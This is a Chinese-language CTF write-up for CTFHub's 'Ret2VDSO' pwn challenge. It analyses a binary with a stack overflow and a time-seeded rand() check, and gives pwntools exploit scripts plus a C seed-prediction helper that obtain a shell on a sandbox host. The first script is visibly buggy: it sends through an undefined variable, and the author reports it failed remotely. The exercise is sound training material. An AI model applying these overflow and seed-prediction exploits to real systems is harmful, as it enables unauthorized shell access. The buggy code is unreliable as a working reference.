【CTFHUB-WriteUp】pwn技能树-栈溢出-Ret2VDSO

目录

  • 程序分析
    • 保护检查
    • IDA静态分析
      • 伪代码分析
      • 汇编代码分析
    • GDB调试分析
    • 分析总结
  • 漏洞利用及原理
    • 可利用漏洞
    • 1.栈溢出利用
      • 利用思路
      • 利用原理
    • 2.srand(seed)的不安全引用
      • 利用思路
      • 利用原理
  • Exploit
    • 1.使用栈溢出漏洞GetShell
    • 2.使用不安全的seed引用Getshell
  • 总结
  • 笔记


程序分析

保护检查

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

IDA静态分析

伪代码分析

int getint()
{
//buf大小为16字节
  char buf[16]; // [rsp+0h] [rbp-10h] 
//仅允许用户输入8个字节
  read(0, buf, 8uLL);
  return atoi(buf);//将输入转为数字并返回
}

int menu()
{
  puts("------welcome------");
  puts("1.get gift");
  puts("2.overflow");
  puts("3.exit");
  puts("[+]give me your choice:");
  return getint();
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int seed; // eax
  int inputNum; // ebx
  char buf[56]; // [rsp+0h] [rbp-50h] BYREF
  int choice; // [rsp+38h] [rbp-18h]
  int counter; // [rsp+3Ch] [rbp-14h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  counter = 2;
  do
  {
    if ( !counter )//如果counter为0则结束循环
      break;
    choice = menu();//获取用户输入
    if ( choice == 1 )
    {
      --counter;
      puts("input num:");
      seed = time(0LL);//将当前时间戳作为seed【不安全的引用】
      srand(seed);
      inputNum = getint();//获取用户输入【注意是先获取seed后才等待输入】
      if ( inputNum == rand() )//对比输入和rand结果,如果一致则直接getshell
        system("/bin/sh");
    }
    if ( choice == 2 )
    {
      --counter;
      puts("hello from ctfhub");
      read(0, buf, 0xD0uLL);//【栈溢出】
    }
  }
  while ( choice != 3 );//即使输入3也会再跑一次循环【逻辑错误】
  return 0;
}

汇编代码分析

.text:0000000000000A38     ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000000A38     public main
.text:0000000000000A38     main proc near                          ; DATA XREF: _start+1D↑o
.text:0000000000000A38
.text:0000000000000A38     buf= byte ptr -50h
.text:0000000000000A38     choice= dword ptr -18h
.text:0000000000000A38     counter= dword ptr -14h
.text:0000000000000A38
.text:0000000000000A38     ; __unwind {
.text:0000000000000A38     push    rbp
.text:0000000000000A39     mov     rbp, rsp
.text:0000000000000A3C     push    rbx
.text:0000000000000A3D     sub     rsp, 48h
.text:0000000000000A41     ; 8:   setvbuf(_bss_start, 0LL, 2, 0LL);
.text:0000000000000A41     mov     rax, cs:__bss_start
.text:0000000000000A48     mov     ecx, 0                          ; n
.text:0000000000000A4D     mov     edx, 2                          ; modes
.text:0000000000000A52     mov     esi, 0                          ; buf
.text:0000000000000A57     mov     rdi, rax                        ; stream
.text:0000000000000A5A     call    _setvbuf
.text:0000000000000A5A
.text:0000000000000A5F     ; 9:   setvbuf(stdin, 0LL, 1, 0LL);
.text:0000000000000A5F     mov     rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000000A66     mov     ecx, 0                          ; n
.text:0000000000000A6B     mov     edx, 1                          ; modes
.text:0000000000000A70     mov     esi, 0                          ; buf
.text:0000000000000A75     mov     rdi, rax                        ; stream
.text:0000000000000A78     call    _setvbuf
.text:0000000000000A78
.text:0000000000000A7D     ; 10:   v8 = 2;
.text:0000000000000A7D     mov     [rbp+counter], 2
.text:0000000000000A84     jmp     loc_B10
.text:0000000000000A84
.text:0000000000000A89     ; ---------------------------------------------------------------------------
.text:0000000000000A89     ; 15:     choice = getInput();
.text:0000000000000A89
.text:0000000000000A89     loc_A89:                                ; CODE XREF: main+DC↓j
.text:0000000000000A89     mov     eax, 0
.text:0000000000000A8E     call    printMenu                       ; 打印菜单并获取用户输入数字
.text:0000000000000A8E                                             ; 1:getGift,判断用户输入和随机数是否相同
.text:0000000000000A8E                                             ; 2:overflow,栈溢出
.text:0000000000000A8E                                             ; 3:结束
.text:0000000000000A8E
.text:0000000000000A93     mov     [rbp+choice], eax
.text:0000000000000A96     ; 16:     if ( choice == 1 )
.text:0000000000000A96     cmp     [rbp+choice], 1
.text:0000000000000A9A     jnz     short loc_ADE
.text:0000000000000A9A
.text:0000000000000A9C     ; 18:       --v8;
.text:0000000000000A9C     sub     [rbp+counter], 1                
; ↓↓↓↓↓↓↓↓↓↓用户输入为1,getGift↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AA0     ; 19:       puts("input num:");
.text:0000000000000AA0     lea     rdi, aInputNum                  ; "input num:"
.text:0000000000000AA7     call    _puts
.text:0000000000000AA7
.text:0000000000000AAC     ; 20:       seed = time(0LL);
.text:0000000000000AAC     mov     edi, 0                          ; timer
.text:0000000000000AB1     call    _time
.text:0000000000000AB1
.text:0000000000000AB6     ; 21:       srand(seed);
.text:0000000000000AB6     mov     edi, eax                        ; seed
.text:0000000000000AB8     call    _srand
.text:0000000000000AB8
.text:0000000000000ABD     ; 22:       inputNum = getInputNumber();
.text:0000000000000ABD     mov     eax, 0
.text:0000000000000AC2     call    getInputNumber
.text:0000000000000AC2
.text:0000000000000AC7     mov     ebx, eax
.text:0000000000000AC9     ; 23:       if ( inputNum == rand() )
.text:0000000000000AC9     call    _rand
.text:0000000000000AC9
.text:0000000000000ACE     cmp     ebx, eax
.text:0000000000000AD0     jnz     short loc_ADE
.text:0000000000000AD0
.text:0000000000000AD2     ;system("/bin/sh");getShell代码位于mainAD2处
.text:0000000000000AD2     lea     rdi, command                    ; "/bin/sh"
.text:0000000000000AD9     call    _system                         
; ↑↑↑↑↑↑↑↑↑↑↑用户输入为1:getGift↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000AD9
.text:0000000000000ADE     ; 26:     if ( choice == 2 )
.text:0000000000000ADE
.text:0000000000000ADE     loc_ADE:                                ; CODE XREF: main+62↑j
.text:0000000000000ADE                                             ; main+98↑j
.text:0000000000000ADE     cmp     [rbp+choice], 2
.text:0000000000000AE2     jnz     short loc_B0A                   
; ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓用户输入为2:overflow↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
.text:0000000000000AE2
.text:0000000000000AE4                               ; 28:       --v8;
.text:0000000000000AE4     sub     [rbp+counter], 1
.text:0000000000000AE8     ; 29:       puts("hello from ctfhub");
.text:0000000000000AE80    lea     rdi, aHelloFromCtfhu            ; "hello from ctfhub"
.text:0000000000000AEF     call    _puts
.text:0000000000000AEF
.text:0000000000000AF4     ; 30:       read(0, buf, 0xD0uLL);
.text:0000000000000AF4     lea     rax, [rbp+buf]
.text:0000000000000AF8     mov     edx, 0D0h                       ; nbytes
.text:0000000000000AFD     mov     rsi, rax                        ; buf
.text:0000000000000B00     mov     edi, 0                          ; fd
.text:0000000000000B05     call    _read                           
; ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑用户输入为2:overflow↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
.text:0000000000000B05
.text:0000000000000B0A                               ; 33:   while ( choice != 3 );
.text:0000000000000B0A
.text:0000000000000B0A    loc_B0A:                                ; CODE XREF: main+AA↑j
.text:0000000000000B0A    cmp     [rbp+choice], 3
.text:0000000000000B0E    jz      short loc_B1C
.text:0000000000000B0E
.text:0000000000000B10    ; 13:     if ( !v8 )
.text:0000000000000B10
.text:0000000000000B10    loc_B10:                                ; CODE XREF: main+4C↑j
.text:0000000000000B10    cmp     [rbp+counter], 0
.text:0000000000000B14    ; 14:       break;
.text:0000000000000B14    jnz     loc_A89
.text:0000000000000B14
.text:0000000000000B1A    jmp     short loc_B1D
.text:0000000000000B1A
.text:0000000000000B1C    ; ---------------------------------------------------------------------------
.text:0000000000000B1C
.text:0000000000000B1C    loc_B1C:                                ; CODE XREF: main+D6↑j
.text:0000000000000B1C    nop
.text:0000000000000B1C
.text:0000000000000B1D    ; 34:   return 0;
.text:0000000000000B1D
.text:0000000000000B1D    loc_B1D:                                ; CODE XREF: main+E2↑j
.text:0000000000000B1D    mov     eax, 0
.text:0000000000000B22    add     rsp, 48h
.text:0000000000000B26    pop     rbx
.text:0000000000000B27    pop     rbp
.text:0000000000000B28    retn
.text:0000000000000B28    ; } // starts at A38
.text:0000000000000B28
.text:0000000000000B28                               main endp

GDB调试分析

以下是main函数初始化完后的栈构造

00:0000│ rsp 0x7fffffffdd00 ◂— 0xd30 /* '0\r' */
01:00080x7fffffffdd08 —▸ 0x7fffffffe1c9 ◂— 0x29aea5211c50d76b
02:00100x7fffffffdd10 —▸ 0x7ffff7fc1000 ◂— jg     0x7ffff7fc1047 //此处是VDSO基址
03:00180x7fffffffdd18 ◂— 0x10101000000
04:00200x7fffffffdd20 ◂— 0x2
05:00280x7fffffffdd28 ◂— 0x78bfbff
06:00300x7fffffffdd30 —▸ 0x7fffffffe1d9 ◂— 0x34365f363878 /* 'x86_64' */
07:00380x7fffffffdd38 ◂— 0x64 /* 'd' */
08:00400x7fffffffdd40 ◂— 0x1000
09:00480x7fffffffdd48 ◂— 0x0
0a:0050│ rbp 0x7fffffffdd50 ◂— 0x1
0b:00580x7fffffffdd58 —▸ 0x7ffff7c29d90 (__libc_start_call_main+128) ◂— mov    edi, eax
0c:00600x7fffffffdd60 ◂— 0x0
0d:00680x7fffffffdd68 —▸ 0x555555400a38 (main) ◂— 0xec834853e5894855 //main函数起点,a38处

分析总结

除了Canary之外的保护都开了,由于开启了PIE无法直接获悉具体指令地址,所以无法直接构建ROP

[!NOTE] 根据IDA静态分析可知

  • main函数分支 1 中存在不安全的引用以及system(/bin/sh)调用
  • main函数分支 2 中存在栈溢出漏洞
  • main函数分支 3 存在逻辑错误

[!NOTE] 根据汇编分析得知
system调用位于main函数中低2字节为0x0AD2

[!NOTE] 结合调试分析的栈构造可知
位于RBP-0x18处是main函数地址

位于RSP+0x10处是VDSO基址

漏洞利用及原理

可利用漏洞

  • 栈溢出漏洞
  • 不安全的srand->seed引用

1.栈溢出利用

根据分析可知以下三个关键点

  • main分支2中存在栈溢出并且足以覆盖至RBP-0x80
  • RBP-0x18处为main函数地址
  • system("/bin/sh")调用位于main函数末2字节0xAD2

利用思路

填充payload至RBP,寻找retGadget并填充至RBP+0x8RBP+0x10处,使用Partial Write覆写位于RBP+0x18处的main函数末2字节为0x0AD2,使main函数结束后连续ret至system调用处并成功getShell;
但是由于程序开启了PIE保护,并且没有可泄露地址的漏洞存在,所以常规ROPGadget无法使用,考虑使用vsyscall作为retGadget

利用原理

vsyscall 是第一种也是最古老的一种用于加快系统调用的机制,它是Linux内核在用户空间映射的一块包含一些变量和系统调用实现的内存页,对于X86_64的架构可以在 Linux 内核的 文档 找到关于这一内存区域的信息:

ffffffffff600000 - ffffffffffdfffff (=8 MB) vsyscalls


或在GDB中 vmmap

0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]


cat /proc/1/maps | grep vsyscal

ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]


[[#1.使用栈溢出漏洞GetShell|实现EXP代码]]

对于这个实现方法,成功在本地打通并且getShell,但是在远程却并不适用,题目名叫做Ret2VDSO,直接使用Vsyscall我也觉得应该不是出题人本意,但是我并没有完全理解VDSO和该程序的利用,也没有找到相关类似题目的WP,根据我对vsyscallvdso的理解推测或许是靶机上压根就没有vsyscall,所以对于栈溢出的利用仅到此为止;

[!NOTE] 补充-爆破VDSO基址
我曾尝试爆破VDSO基址,并加上0x5FC作为偏移来作为RetGadGet,但是这个方法不论是在远程还是本地都没成功,原因是在x64下,该地址有3个字节也既12位是随机的,不同于x32下仅有1字节,爆破概率是1/256;在本程序中爆破概率低达1/16777216,在绞尽脑汁想不出如何通过栈溢出来打通该程序时,确实抱着侥幸尝试过爆破VDSO基址,但不论本地还是远程最终都没能打通,即使打通了本地,也许我找的VDSO文件的ret偏移0x5FC在远程上也并不适用,所以我最终放弃了

2.srand(seed)的不安全引用

根据分析可知以下三点

  • main函数中根据rand生成的数字和用户输入数字比对,若相等则调用system("/bin/sh")
  • 用户输入仅允许输入8位数字
  • rand的seed是根据time(0)生成的

利用思路

编写C程序提前生成出下一次结果小于9位数时间戳rand结果,在EXP中检查
time()==targetTime后发出rand结果,使判断成功并且getShell

[[#2.使用不安全的seed引用Getshell | 实现EXP代码]]

利用原理

由于程序中的seed根据time()来生成,所以这是可以被预估的,只需要提前预估未来的某一个符合rand结果小于9位数用户可输入的时间戳并且等时间到时发送内容即可

Exploit

1.使用栈溢出漏洞GetShell

from pwn import *

prog = "./ret2vdso"

local = False
context(os='linux', arch='amd64', log_level='debug')

if local:
	p = process(prog)
	#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
	#sleep(1)
else:
	p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)


vsys = 0xffffffffff600000
payload = b"\x00"*88
payload += p64(vsys)*2 + p16(0xAD2)
r.sendafter("[+]give me your choice:\n", "2")
r.sendafter("hello from ctfhub\n",payload)
r.interactive()

2.使用不安全的seed引用Getshell

#include 
#include 
#include 

int main(){
	int randNum = 99999999+1;
	long cTime = time(0)+15;
	while(randNum > 99999999){ 
		srand(cTime);
		randNum = rand();
		if(randNum <= 99999999){
			break;
		}
		cTime = cTime+1;
	}
	printf("Time:%ld\n",cTime);
	printf("rand:%d\n",randNum);
	printf("rand:0x%x\n",randNum);
	return 0;
}
from pwn import *
from time import *

prog = "./ret2vdso"

local = False
context(os='linux', arch='amd64', log_level='debug')

if local:
	p = process(prog)
	#gdb.attach(p,"b *main+0x7E \x0a c \x0a")
	#sleep(1)
else:
	p = remote("challenge-580595dffc0d543f.sandbox.ctfhub.com",25533)

targetTime = 1678511159
targetRand = str(995880)
firstTime = 0

while True:
	if(int(time()) == targetTime+1):#为什么+1下面有解释,远程可能存在挖网络延迟之类影响所以可能无法一次打通,需要多次尝试
		p.sendafter("[+]give me your choice:\n","1") #此处需要注意在玩家选择分支1后time()就已经被调用
		firstTime = time()
		break;

p.recvuntil("input num:\n")
print("use Time : {}".format(time() - firstTime))#根据比对发现远程和本地两次发送数据间隔差距不大,但是在本地调试中却发现targetTime比程序调用的time要大1,所以在targetTime处+1
p.send(targetRand)

p.interactive()
p.close()

总结

[!NOTE] 关于VDSO #待解决
我对该机制的理解还是过于浅显,以至于无法用出题人希望的方式解出这道题,目前这题作为遗留问题,在我理解深入后再回过头来思考这题的解法

笔记

[!NOTE] 查找VDSO文件
find / -name ‘*vdso*.so*’

你可能感兴趣的:(WriteUp,CTF,PWN,python,c++)